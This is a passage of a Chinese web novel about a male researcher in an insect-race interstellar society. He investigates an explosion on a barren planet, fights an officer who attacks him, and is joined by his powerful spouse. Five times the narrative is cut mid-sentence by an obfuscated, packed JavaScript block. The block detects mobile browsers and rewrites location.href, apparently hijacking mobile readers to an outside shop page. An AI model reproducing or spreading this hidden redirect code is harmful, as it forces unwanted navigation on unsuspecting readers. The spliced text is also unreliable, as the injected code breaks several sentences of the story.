要伺候这尊佛相当不容易,再加上他刚入乡随俗,一堆科幻小说里的新鲜玩意儿陡然在现实中粉末登场,就像是原始部落的非洲人登陆加利福尼亚,魏邈自己很难不露怯。
他其实是对奥兰德动心过的,也有过头悬梁、锥刺股的时候,小心翼翼地靠近过,单纯只是为了让对方多看一眼他。
就像是闪电总在雨声之前,情感往往也先于理智,潮水决堤之后,伴随而来的痛苦是一种幸福的附赠品。
但他的动心太小心、廉价,得不到回应就会自动回收,从此之后,不会再允许自己探出第二次。
魏邈很擅长给自己做灾后重建工作,他心态好,没过两秒钟,就强迫自己收起了多余的感慨,刚踏进办公室,下属就小跑着走了进来。
“师兄。”那名年轻的雌虫急促地道,“托尔星发生了一场爆炸,我联系不到出差的同事们了。”
·
奥兰德接到魏邈的讯息的时候,已经是下午三点。
雄虫很少在工作时间和他通讯,他点开聊天框,看见对方简短的讯息:因公临时出差一趟,可能需要两三天的时间,勿念。
奥兰德垂下眼帘,回复:好的,您去哪里出差?
魏邈没有回复。
奥兰德等了一会儿,打开雄主的个人空间,魏邈的社交动态很丰富,平日里会转发各类新游戏测评和资讯,夹杂着一些虫崽的可爱照片,雄主似乎对机甲、格斗类的游戏情有独钟,下班回家之后大多数时间花在游戏上,下面评论和点赞也多是游戏好友。
爱玩这类游戏的雄虫相当罕见,大多数人把魏邈当作一枚雌虫,语气调侃居多。
【真闲,不上班吗?】
魏邈:偶尔去工地搬砖补贴家用。
【虫崽长这么可爱啊,你雄主估计喜欢死了吧哈哈哈】
魏邈:确实喜欢!
【氪这么多,雄主不会有意见吗?】
魏邈:?
【求带!这一关总是过不去,太难打了,卡了大概半个月了。】
魏邈:需要磨血。这一关骑士自身的血条也需要降低到30%以下,不然boss会叠加无限护盾,你需要拥有躲闪攻击和远程控制的双buff,第二段会触发狂怒,所以建议前期再过一个副本过渡。
【太感谢了!看攻略极限过关。】
随意地浏览完这些几天之前发布的动态,奥兰德关闭了最顶端的聊天框,站起身。
·
托尔星距离联邦不算太远,建起传送阵之后,只需要三个小时就能赶到,魏邈一路上风尘仆仆,同行的有两人,都是A级雌虫。
和首都布列卡星相比,这里几乎相当原始,托尔星是新发现的小行星,地面焦黑一片,冰封的路面被余波炸得四分五裂,蜿蜒扭曲,空气里弥漫着昏黄的雾气和血味,池洼之下,能听见吱吱的响动,像是尖锐表面剖开肌肤的声音,没有看见本地的居民。
来接引的是一名中年雌虫,魏邈脸色不是很好看,但还是保留着基本的风度,问:“接管这个星系的是第几军团?”
中年雌虫缄默了一会儿,道:“第一军团。”
“怎么能变成这样?”魏邈平静地问,“我翻阅过托尔星半年前的资料,没有如今这样糟糕……我们现在是去爆炸的事发地的路线吗?”
“现在爆炸产生的原因尚且不确定。”中年雌虫走路步伐很稳,闻言,摇了摇头,“鉴于您是雄虫,为了保护好您的虫身安全,您的两位同事需要去现场协助勘察,您只需要跟随我去临时休息处等讯息就可以。”
“……”这样的情况不是第一次遇到,魏邈点开光脑,一张特别准许通行资格证弹出,浮现在虚空之内,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606712|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
耐心地重复了一遍,“我们现在该去现场,麻烦了。”
沿着冰面行走,越走,整条路都变得陡峭起来,有巡检的军雌驻守在此处,魏邈戴上特制的眼镜和防护服,掀开帘子,走进指挥室。
野外地质勘察从来不是一件容易的事情,哪怕到了星际,也同样如此,甚至地址变得以光年计算远近,有的星球更为原始化,让人非常不适应。一路上同样会出现种种不同的意外情况,比如不小心遭遇星盗、走入无人区,甚至更倒霉的掉入黑洞,到了勘测的地方,也容易一无所获。
虫族强悍的身体素质也并不是万能的,但意外情况,和人为制造的灾难,毕竟是有区别的。
晋升为高级研究员之后,魏邈已经很少亲自出外勤,只需要负责同步接收信息,负责一部分实验,一路上,他已经做了七八个汇报和申请,才能够带队做勘察辅助工作。
“谁让你们进来的?”出乎意料,指挥室只有一名军雌,坐在一块巨大的光幕之下,军雌没有转过头,语气冷凝,“你们来这里,是来当间谍吗?”
魏邈抬起眼。
这竟然是一位少将。
联邦的军衔并不是津巴布韦币,可以用来擦个屁股。相反,一个萝卜一个坑,相当珍贵。一名军团的少将,已经是足够珍贵的高层战力。
到了这个阶段,努力是最无用的手段,天赋、背景、功勋缺一不可。
魏邈眯起眼睛。
在这种情况下看见一名少将,就和在医院看到神龙不见尾的主任医师,显然不是一件值得高兴的好事。
——说明托尔星发生的爆炸规模,比想象中更加严重。
原书当中,并未提及这一场爆炸,毕竟主角是穿越的,对于之前的事情一概不知,而托尔星又确实太过遥远了,甚至很难吸引到记者,成为一条新闻。
但书中同样明确地提过,在布列卡星时间,也即是此时的七日之后,会有组织点燃引线,在一个偏远且宜居的星系复刻一场规模更加宏大的事故。
那一场事故中,正在旅游的书中主角被余波波及,晕了三个月,一直到另一个灵魂接管了那具身体。
可以说,没有七日后的那场事故,或许书里的主角都不会有机会穿越过来。
6. 我他爹的可是雄虫
魏邈没有第一时间做自我介绍。
准入申请已经发送到对方的光脑端,不可能看不到,现在装模作样来诘问,显然是没事故意找茬,他倒也没必要第一时间热脸贴冷屁股。
他或许能共情对方此时凭空多了一项任务的烦躁,但他不是育婴师,不需要对陌生虫施加多余的包容。
里面同事凶多吉少,魏邈心情也实在欠佳,他手指动了动,总觉得有点儿麻痒,想找一只不长眼的虫族抽一抽。
最近的事情发生得似乎有些太多了,没时间登录游戏解解压。
他从这名军雌身边经过,抬起眼看向那片巨大的光幕,画面里焦黑一片,产生的余波下,几乎看不到任何一类活物,仿佛变成了巨大的一滩死水。
“别挡道。”后面的军雌站起身,“我说话你听不见?”
魏邈此刻身穿着白色的防护服,面容和五官都被包裹得严严实实,身材高大,单看身高,又是领头人,没有虫纹作为辨识,很容易让人误解为一名基因优秀的雌虫。
魏邈目光在光幕中逡巡,懒得回头,笑了声:“听见什么?”
“作为一名小小的研究员,你太放肆了。”那名少将站到他身边,手搭在他肩膀上,同样看向光幕,“这是第一军团的领地,你知道我是谁吗?”
魏邈淡淡地推了下防护服内的眼镜:“愿闻其详。”
下一秒,一记侧击骤然裹挟着冰冷的寒风呼啸而来,魏邈试图要躲,却发现自己的肩膀被对方用力地摁住,眼看着拳头近在咫尺,他不得不伸出手肘,用蛮力挡下。
“哦?准A级的水准。”少将颇为惊讶地扬了扬眉梢,下一秒,嘲讽地笑了起来,“不过,你分化完全了吗?”
“……”魏邈只觉得手肘传来被打击的钝痛,他稍微顿了顿,没想到对方会直接出手。
联邦的法律里规定,雌性一旦产生攻击雄性的欲望,被发现之后会被判处无期徒刑,而攻击行为坐实之后,需要被施以死刑。
与之相反,在不对雌性产生身体重大损坏的情况下,雄虫不会承担任何风险。
光脑还戴在他的手腕上,这名少将是觉得职业生涯太过一帆风顺,想要换一些新鲜的挑战吗?
不过此刻容不得他疑惑,几乎在顷刻之间,搭在他肩膀上的手臂变化为掌,向他的要害处劈过来,明显是近身格斗的打法,魏邈疾速后退,一个旋身,伸出腿挡下了这一击。
一切发生在电光火石之间。
“呼。”魏邈只觉得浑身肌肉崩起,毫不怀疑刚刚那一击如果打到胸口,怕是直接会倒地不起,他感兴趣地自言自语,“还好我腿长啊。”
“力度不够。”军雌眯起眼睛,笑得更为灿烂,“反应力很快,但还是太弱了,劣等雌性,加上你,还有旁边两个废物,总共就三名虫吧?”
他呼吸急促起来,脖颈上的虫纹变得更加繁密复杂,这是高阶雌虫兴奋起来的表现,道:“你猜,你们三个死在这里,会有谁发现呢?”
“……已经很烦了。”没有想象中的惊慌失措,那名身处在防护服下的“劣等雌虫”只是揉了揉自己的肩颈,“用得着这样吗,我只是个后勤啊。”
声音太低,军雌没听清对方说什么,下一秒,那名身影如鬼魅般靠近,不断拉进距离,一双陌生的手箍住少将的后脑勺,“砰”一声,训练有素的刺拳直接砸到少将的脸上。
雌虫的耐痛程度天然比雄虫要优越,魏邈摁住对方的脸,趁军雌还没有反应过来,把他翻了个面儿,用膝盖抵住对方有力的下肢,把军雌的后脑勺对着墙壁狠狠撞击。
一下,两下……
一直到手酥麻了起来,数不清多少次撞完,估摸着得喊军医过来了,魏邈才停下手:“脑子里的水流干净了吗?”
没有回应。
魏邈毫不犹豫地把这名雌虫的头颅继续向墙壁里撞击。
“哐啷——砰。”
这次用的力气更大。
眼见对方额间终于有血流出来,魏邈舒畅地笑了笑,重复了一遍问题:“清醒了吗?”
对方此刻已经不能再说话,一双眼睛仇恨地望着他,宛若熊熊的火焰。
雌虫的恢复能力相当强,脑袋开了个瓢而已,应该不是什么大问题。
魏邈估算了一下伤势,大概需要一周时间恢复,觉得手依然有些痒。
……他已经很久没有打过架了。
这些年的生活太过安
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606713|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逸,适应了之后,他就不再觉得武力是立身之本。
“师兄!”下一秒,他的同事拉回了他的理智。
魏邈回过神的时候,微微阖了下眼睛,才发现后背已经满身是汗,就连镜片都晕起了雾气。
雄虫的耐力水平显而易见。
“放心。”他道,“没事。”
魏邈脱下防护服,疲倦地坐在刚刚军雌坐下的位置,对方体能充沛,如果刚刚长时间缠斗下去,他必输无疑。
而如果雌虫打开骨翼……
好在也不算很难解决。
毕竟这里是“male first”的社会。
他拾起地上军雌的私人光脑,用对方的虹膜解锁,问:“你叫卡洛?”
对方却比他更加不可思议。
“您……”卡洛的声线都在颤抖,一张血肉模糊的脸注视着魏邈的虫纹,骤然惊恐地睁大了眼睛,他磕磕绊绊的,一个字儿一个字儿蹦出来,“您是雄子?”
他刚刚在和一只雄虫打架?
魏邈双腿交叠,长呼出一口气,淡淡地道:“少将阁下,确认一遍,是你先攻击的我,我一切仅出于自卫的目的。”他顿了顿,接着道,“另外我记得我已经认真地在申请书上备注了我的性别,你没看吗?”
他的光脑刚刚一直存有录像,随手将视频保存至云端,直接给第一军团军团长打了个视频通话。
视频很快拨通,画面里浮现出一个虚影。
第一军团的军团长同样来自东方,姓李,叫李易,在虫族的年龄里,是一名相当年轻的双S级雌虫,比奥兰德大四岁。
对方黑发黑眸,单眼皮,面容稍显寡淡,军装的扣子系到最上方,此刻正端坐在会议室里,见到视频拨通,露出一个微笑。
“魏邈阁下。”李易微微欠身,“下午好……您在哪里?”
他看了眼身后凌乱的背景,皱起眉。
魏邈同样礼节性地回以一个微笑:“下午好,先生,贸然打扰到您的工作。”他转了转视角,“我在托尔星出差,和卡洛少将发生了一点肢体冲突,您认为该如何处理?”
有句话怎么说来着。
什么少将、中将,我他爹可是雄虫。
7. 潮涌
李易的眸光一沉,旋即像是听到什么笑话一样,连眼底都扫上一片笑意:“您开玩笑了……”
雌虫和雄虫发生肢体冲突?是嫌死得不够快吗,更何况……这位可是柏布斯家主的合法伴侣。
如果说联邦底层的雌虫是没人捡的破烂,需要为联邦和自己的雄主兢兢业业的工作,那上层的雌虫,多少是拥有一点可以自我的权力的。
雄性依然珍稀,但并非是唯一珍贵的,有些权贵拥有两三个雄虫情人,也并不是太过罕见的事情。
奥兰德·柏布斯上将在公开场合已经鲜少提及自己的家庭,脱离传统、保守的柏布斯家族的管辖之后,他已无需塑造出一个事业家庭两手抓、雄主支持自己工作的个人形象,甚至鲜少在各类新闻中露面。
外界很少能想起这位大权在握的联邦掌权人还拥有一名雄主,这段婚姻持续了五年时间,看样子似乎相当稳定,还要持续一辈子的样子。
李易同样不能想象那位嗜杀残忍、倨傲冷酷,掌控欲极强的家主在他的家庭里,是什么样的行事作风。
会像对待军务和政务一样,独断专行吗?
思绪在脑海中打转,李易正襟危坐地望向魏邈,尽量收起自己打探的目光,娇贵的雄虫们显然更喜欢驯服的雌性。
紧接着,他突然沉默了。
地上的下属躺得歪七扭八,原本还算出挑的面部覆盖着惨不忍睹的伤势,血汩汩流下,眼皮上都有焦红色的血痂,四肢还算完整。
雌虫的身体坚硬,头部是唯一比较脆弱的部位,尤其是A级以上的雌虫,几乎就是一架人形兵器,很少能有被击中弱点的机会,就像是普通人打架喜欢薅头发、掐脖子一样,魏邈同样不觉得自己需要多有技巧,把对方的头当篮球狠狠扣下去就行了。
但这样的伤势,带给旁人的震撼也是绝对的。
李易仅仅只是瞥了眼地上的下属,便收回震惊的目光:“魏先生没有受伤吧?”
第一军团的军团长李易,出身于平民阶层,一路晋升却相当顺风顺水,性格八面玲珑、滴水不漏,相较于传统意义上等级森严的军团体系来说,他的管理风格更温和、平易近虫,军团内部和网络上都相当受欢迎。
魏邈和李易只在军部例会中见过几面,印象寥寥,但逢年过节之际,作为一名八竿子打不着的地质研究员,都能收到对方一些简单的问讯和恭喜,都是些文绉绉的废话,看得人想发个“TD”过去。
一个挺努力,且状似运气很好的聪明人。
“还好。”魏邈应了句,他懒得说自己这会儿手肘还疼,估摸着过一会儿要肿了这种话,“李上将,我会在稍后将刚刚的视频传输给您,作为证据,您最好还是温习一下,然后给我一个满意的解决方案。”
他没什么温度地笑了笑:“毕竟怎么说,我也算是个军属,不希望事情闹大。”
“感谢您。”李易拢起眼问,“这些伤口是您独自造成的吗?”
他一边问,一边快速地打开魏邈传输过来的录像,时间并不长,只有一分钟左右,李易越看,便觉得面部表情越僵硬。
他完全笑不出来了。
原本以为是下属挑衅魏邈带来的两位雌虫,然后魏邈代为告状,毕竟傻子也不会在明知有禁令的情况下去攻击一名陌生雄虫。
到了现在,出于人道主义,执行死刑需要严格的程序和判定,但雌虫突然狂暴,然后伤到雄虫这种行为,依然是罪大恶极的。
——因为一旦雌虫有攻击的欲望,大部分雄虫的身体素质甚至无法抗下一击。
但视频里这是怎么回事儿?
卡洛可是S级的将领,训练有素、身体素质极佳,在前线经常冲锋陷阵,寻常的S级都不敢说有获胜的可能性。
哪怕没有时间展开骨翼,但雄虫的战力也实在太过惊人了。
魏邈背抵住墙,笑了下,陈述道:“您的军纪管理相当别开生面。”
军雌出手伤人,还试图殴打一名肩不能挑的研究员,也实在胆子挺大。
“……抱歉,雄虫阁下。”李易深深地吸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606714|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一口气,试图用面部肌肉做出一个合适的表情,但显而易见的失败了,“我会处理好这件事,给您一个满意的交代。”
他站起身,冲着魏邈欠身鞠了一躬,只觉得大脑不住作痛,心中涌上一股后怕之意。
简直……
还好魏邈没事,好端端地站在这里。
如果对方有一点闪失,他的位置或许便坐到头了。
魏邈略略抬手,制止对方下一步的抱歉,道:“好的,之所以冒昧的找您,还有另外一件事儿。”
“您需要尽早派一步增援赶过来。”他表情冷然,“因为托尔星的这场爆炸事故,并非是意外导致的,我也是到了现场才最终确定,这似乎是一场有目的的袭击,我怀疑其中有反叛军和星盗的手笔。”
·
挂断电话,魏邈重新坐回原位。
两名自己带过来的研究员和一名趴在地上、生无可恋的军雌一齐抬起头,注视着他。
“外面很危险。”魏邈伸长腿,将鞋搭在卡洛宽阔的后背上,比起少将,对方似乎更胜任“脚托”的工作,漫不经心地道,“等援兵过来吧。”
“师兄,那我们不进去找莱尔他们了吗?”研究所的师弟轻轻地问。
卡洛这时候忍不住说:“我已经派人地毯式的搜寻过一遍了,没有那些研究员们的痕迹。”
知道对方是雄虫之后,经过相当长的空白之后,他已经失去了没有任何攻击的欲望。
不再存在所谓的生死一搏,他只希望对方不会要走他的性命。
“嗯,你们很幸运。”魏邈重新打开光脑,飞快地编译数据,“三十分钟之后,托尔星会再炸一次,早点进现场,也算是成功躲过一劫。”
卡洛原本平静的呼吸再次紊乱起来:“……”
两名雌虫同样震惊。
“我在托尔星刚刚勘测到了地表的红土。”魏邈说,他把一份整理好的电子表格发送给其中一位研究员,神色莫测,“去做一份具体的分析,这不是托尔星该出现的东西。”
8. 库洛米
事情一下子变得复杂起来,这是谁也没有想到的事情。
魏邈注视着巨大光幕上显现出来的焦黑空洞,说实话,在现场没有找到同事的尸体,其实并不算一件坏事。
这多少意味着他们有存活下来的可能性。
他换上一件新的防护服,面色严肃,问卡洛:“你带了多少下属过来?”
雄虫在自己面前径自穿衣服,卡洛掩下眼睛,僵硬地回答:“加上后勤、军医这些,一共六百名军官。”
“信任的有多少?”
卡洛嗓音干涩,过了一会儿才回复道:“战友都是值得我所信任的。”
他觉得自己大脑晕晕乎乎的,对方问什么,就回答什么。
魏邈却无暇顾及卡洛的感受,他在自己的ID card上输入指纹,现场调阅了研究所托尔星的保密资料,旋即将数据库中前两天刚上传的勘测图纸上锁,删除备份,权限转为仅自己可见。
听到回复,他才转过目光,揉了揉太阳穴:“……真是令我钦佩。”
紧接着,魏邈道:“去给卡洛少将找个军医过来,他脑震荡了,需要治疗。”
反叛军为什么会盯上托尔星?
这个星系并不太平,贫瘠、荒凉、战火纷飞,因为被过度开采,常年伴随着极端气候,在高度文明的星际时代,死亡率却居高不下。
哪怕是布列卡星及联邦其他的直辖星系的贫民窟,都不会有这样不稳定的状态存在。
但从最近勘察的结果来看,托尔星的地表环境不适宜虫族居住,自然资源也趋近于零,这个星球无论从里到外,都不值得争抢,那他们制造一场危机的目的是什么?
向联邦示威?
本以为是一次很普通的地质勘察,做完研究报告之后,研究所的研究员这两天就要撤退,却被无故卷入到这场风波之中。
魏邈皱起眉头,无论如何,情况都并不会太简单。
李易的增援很难在第一时间赶到,而如果不出意料,下一波攻击很快就会开始。
在这里,很难保障绝对的安全。
魏邈走出指挥室。
他目光在众多执勤的军雌中逡巡了一圈,军团的驻扎地并不隐蔽,因为人数众多,同样相当显眼,假如是他,往里面插几个引子似乎并不复杂。
这里毕竟不是联邦布署周全、严密,固若金汤的部曲,在几百名军官、总计几千名军雌的小分队中安插几名卧底,难度系数并没有那么高。
三分钟后,同事匆匆带来一位军医,去给指挥室的卡洛少将治疗,魏邈错开身,让他们进去。
“……您要去哪?”同事问,“您刚刚也说了,这里……”
那名军医的目光同样探过来。
这样一身齐全的防护服,在军营里是相当扎眼的,普通的雌虫很少把自己穿戴得这么娇贵,这是相当矫情的行为。
也只有身娇肉贵的科研人员会被重金照顾。
研究出来什么东西了吗?
军医嘲弄地在心里想。
防护服里,魏邈的音色很沉闷,他道:“三分钟后我就回来。”
·
奥兰德走出宽敞的办公室。
楼道宽阔明净,几乎如同一座宽大的双面展厅,走廊的地板采用的是一种特殊的单面玻璃,看上去很薄的一层,高度在三十米左右,能够一览无余地看到训练场的整体情况,而下方却只能看见乌黑的墙面。
他走进军部的私人厨房。
被切好的水果和小块新鲜肉丁被搁置在真空案台上,水果的汁水和沙拉酱已经妥当,还需要再搅拌一下,肉丁还没有被烹烤焦熟,醋、辣椒面和甜酱却已经被用精致的小碟摆好。
奥兰德很享受准备晚餐的过程,他喜欢看雄虫坐在餐桌旁边,吃饱之后眯起眼睛懒洋洋的,相当满足的神情——这在寻常的生活中,是很少见的。
对方经常会摸一下他的耳朵,或者亲亲他的脖颈、脸颊,像是对待一只猫一样,带着点狎昵的亲近。
但这样的亲近,在幼崽出生之后,频率已经下降了很多,变得越来越偶尔。
奥兰德收起多余的思绪。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606715|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>案上这些食材,如今显然已经没有存在的价值了。
他波澜不惊地把食材随手扔进垃圾桶,就在这个时候,光脑弹出一则简单的讯息,上面显示了雄虫的地理位置。
出差去托尔星?
……雄主怎么会跑去那里。
奥兰德神色并不好看,他拢下眉心,直接给李易拨打电话。
一秒钟后,李易接通了来电。
“……柏布斯先生。”电话那边,对方道,“非常抱歉,我在事前并不清楚这个情况。”
“我同样感到抱歉。”奥兰德一只手放在水池里,水流声哗哗而下,他道,“为你错失的联邦议会席位,你的功绩一向有目共睹。”
李易在电话那边陷入良久的沉默。
“有些简单的事情,在你这里似乎很为难。”奥兰德拧紧了水龙头,“需要为你分忧吗,李易?”
李易道:“您放心,我会保护好托尔星的每一名联邦公民。”
奥兰德没说话。
他在洗漱台的镜子前整理了一下自己的仪容,旋即走进隐藏隔间的电梯里,才慢慢地道:“这是我唯一一次提醒。”
一个底层的平民,就像是一只老鼠。
哪怕有着出色的攀爬能力,但依然是一只老鼠,更何况那只老鼠的背上还扛着比自己身体还重的一粒米。
联邦的上层需要为贫民立下一个榜样,显示出自己胸怀的宽广,奥兰德并不反对,老鼠同样有存活的资格,前提是这个榜样要手脚干净。
电梯下行,一路上升,通向顶层的私人星舰。
李易又保证了点儿什么,奥兰德已经懒得再听,他挂断电话之后,走进驾驶舱,舱内的右侧摆放着一只玫粉色的小熊石膏娃娃,是雄主亲手涂的,说叫“草莓熊”。
他其实有些疑惑,这只看上去相当憨厚肥胖的熊到底哪里像草莓了?
“……因为就叫草莓熊啊。你要是不喜欢的话,下次再涂一个库洛米,那个瘦点儿。”对方当时摩挲了一下下巴,说,“嗯……或者乌萨奇?你一个,维恩一个。”
9. 荒星下雪
学地质的都穷,读到硕士的又苦又穷,不是在钻树林子,就是在去钻树林子的路上。魏邈上辈子从这个专业身上学到的最重要一课是适应自然环境。
他当过老师,去私人蛋糕房学过烘焙,在酒吧驻过唱,各类杂七杂八的兼职都做过,涂石膏娃娃,是他陪第一任女友学会的。
后来两人分手之后,魏邈还留着对方的联系方式,每天看她在朋友圈发不同的男模,偶尔还会小窗哐哐发九张图,问他:前夫哥,你觉得哪个最帅?
用屁股想都知道对方又在干什么,他甚至不需要一一点开,随手回复了个“都帅”。
草莓熊饼干:我给他们拍照找角度了,都没你帅[比心. jpg]
魏邈:谢谢。
草莓熊饼干:不客气,本来的事儿。你要不也来兼个职?一支舞300,感觉比你周末苦哈哈教地理强。
彼时魏邈正在野外搭帐篷,方形的led充电灯下,环顾皆是跃动的飞蝇,他没敢看那条消息第二遍,怕自己看完真心动了。
大多数时候,两个人只是点赞之交,魏邈偶尔会点赞对方有些过于丰富的朋友圈。那是他的第一段感情,也是前世今生,唯一正式交往过的一任女友。
魏邈当时并不清楚那样几乎的相处模式是否是正常的——或者说是正确的,在那漫长的一年时间里,他被迫了解了不少恋爱的窍门。
如何制造惊喜,如何用甜言蜜语夸奖一名女士的OOTD,掌握各种角度的拍照姿势,逛街时学会拎包和等待,顺便再付个款。
大多数人的恋爱模式一般都是由初恋建构起来的,魏邈并不免俗,没有其他案例支撑,他很自然地以为大家都是这么谈的,分手后做回朋友也是顺理成章的。
偏偏他的雌君和初恋截然不同,很难做类比归纳,这里所谓的雄雌之分听起来实在有点儿玄乎,单从外观来看,都是男的。
魏邈很难说服自己,眼前这个英俊潇洒、西装革履的贵族是个雌性,他以为的雌性一直是游戏里虫母那种大波浪红唇御姐款的。
而人类的大不多数游戏里,虫族都是反派。
过往学到的一切几乎都不再奏效,偏偏遇到对方之后,他才终于咂摸出真正动心的感受。
如果奥兰德是个女生,魏邈觉得他会陷得更深,偏偏不是,也好在不是。他的理智拉回了多余的、脱轨的情感,然后独自消化,一路摸索,才终于找到了一个双方都合适的安全距离。
·
这一只袖珍版的石膏娃娃一直被放在星舰里。
比起传统的传送阵,小型星舰可以达到的速度相当快,使用的能源也相当昂贵,在星际漫游时,几乎被称作一项烧钱的焚烧炉。
同时,对操作者的身体素质、驾驶水平的要求也相当高,只有贵族才能支付得起这样昂贵的费用。
奥兰德赶到托尔星的时候,已经接近于天黑。
风沙漫天,零下的温度下,几乎只看见被裹挟着的乌黑的云层,没有任何活物尚存,第一批的增援已经赶到,接替卡洛的同样是一位少将,面阔目方,神态严谨,看情况接近四五十岁。
虫族的四五十岁,依然还处在年富力强的状态,甚至可以称为一句青年,虽然升迁比不过更年轻的军雌,但因为经验足够,依然会被派遣出去执行重要的任务。
魏邈被请进新搭的房间,是一个单间,室内面积很小,床、饮水机和一张桌子,凉意能够从外面渗进来。
但这样的条件在荒星来说,已经相当优渥。
两辈子常年在外出差,魏邈来的时候已经明智地携带了御寒的衣物,此时披上大衣之后,为自己倒了一杯水,便自然地开始做调研报告。
研究院里的领导还好说,托尔星毕竟牵扯到军部,一个爆炸不是嘴上说有就一定有的,需要专业的判断和过硬的证据。
就像是警方发现尸体才能立案,餐厅需要付款才能吃饭一样,是天经地义的事情。
李易调了人过来,魏邈不可能让对方师出无名,到时候什么事儿都没有发生,派遣这样多的人力物力,单是出差的经费都是天价,最后一句防患于未然轻轻揭过,那就有些太幽默了。
好在下午的第二场爆炸验证了他的判断,无形的压力一下子减轻了很多。
下午实地拍摄了足够的图,写这些东西早就熟能生巧,但没过多久,房门外就传来窸窸窣窣的敲门声,魏邈开了门,便看见门口的军雌敬了个礼,道:“阁下,您需要去指挥室一趟。”
魏邈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606716|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挑了挑眉:“点名要我吗?”
对方点头。
人在屋檐下,魏邈态度很好:“稍等。”
他穿上羊毛大衣,等出门的时候,才发现托尔星竟然在下雪。簌簌的雪花飘落下来,大得如同鹅毛一样,碎裂的冰面上飘裹着一层淡淡的白色,有的地方已经覆盖了一层厚雪,遮住脏污的灰黑粉末,踩上去“咯吱咯吱”作响,浓墨似的天空只剩下纯然的黑。
那种腐臭味似乎散去了很多。
这个星球的水文和生态环境被无休止的战乱波及、破坏得差不多了,能够下雪,是一件令人惊异的事情。
魏邈捻了一片到手心里,很硬的雪,没过多久,便在手心的温度下化成一小滩污浊的水。
指挥室的灯光很亮,和白天不同,军团在认真执行任务时,看起来便有模有样的,像是被改造装新了一番。
只是里面交谈的声音就实在过于熟悉了。
他在门口站了两秒,说不上此刻什么感受,抬起眼看向上首端坐着的人,对方在随意地应付着这名新少将的攀谈,态度却并不显得冷漠,转过头看向他的时候,微微笑了一下。
“这位是我的雄主。”对方介绍道,“你们应该见过。”
少将点头,同样露出笑意:“魏邈阁下是很优秀的一名研究员。”
奥兰德对此并无异议,“嗯”了一声。
魏邈在心中轻轻叹了口气。
其实到了这个阶段,配合奥兰德扮演模范夫妻已经不是一件很有必要的事情了,毕竟都要离婚了,但奥兰德此刻并不清楚他心中的企图。
他也还未说明这些。
对方此时也不是书中的那个最终反派。
他走上前,坐到奥兰德的旁边,和那名年纪稍长的少将打了个照面,漫不经心地点开光脑,关闭了声音之后,上游戏签了个到,才再次退出。
再签一天,能领到一个回档奖励,今天从早到晚忙了一天,差点忘了这事儿。
下一秒,却被对方藏在桌下的手握住。
雌虫显然比雄虫耐冷,对方的手实在不像是一名训练有素的军雌的手,纤细、白皙,魏邈感受到桌子下的温度,还是回握了回去。
他其实没想到对方会跑来这里。
10. 谢谢你来
风雪被筛在帘子之外。
“这一趟前来,是私人行程。”奥兰德西装革履,后背虚靠在椅背上,包裹在西装下的身材劲瘦如松,眼神含着些若有若无的笑意。
柏布斯先生的心情似乎并不算差。
新调来的少将悬着的心总算落地了一些,在这尊小庙遇见大佛,勒得他几乎喘不过气,上一次见到对方,还是五年前他立下特等功,对方来为他授勋的时候。
那是他一生中最为荣耀的一天。
没想到还有幸能够再次面见,柏布斯先生礼贤下士,愿意和他攀谈,他也只好硬着头皮继续聊下去:“您坐镇幕后的话,整个第一军团都蓬荜生辉。”
奥兰德哂然:“太过誉了。”
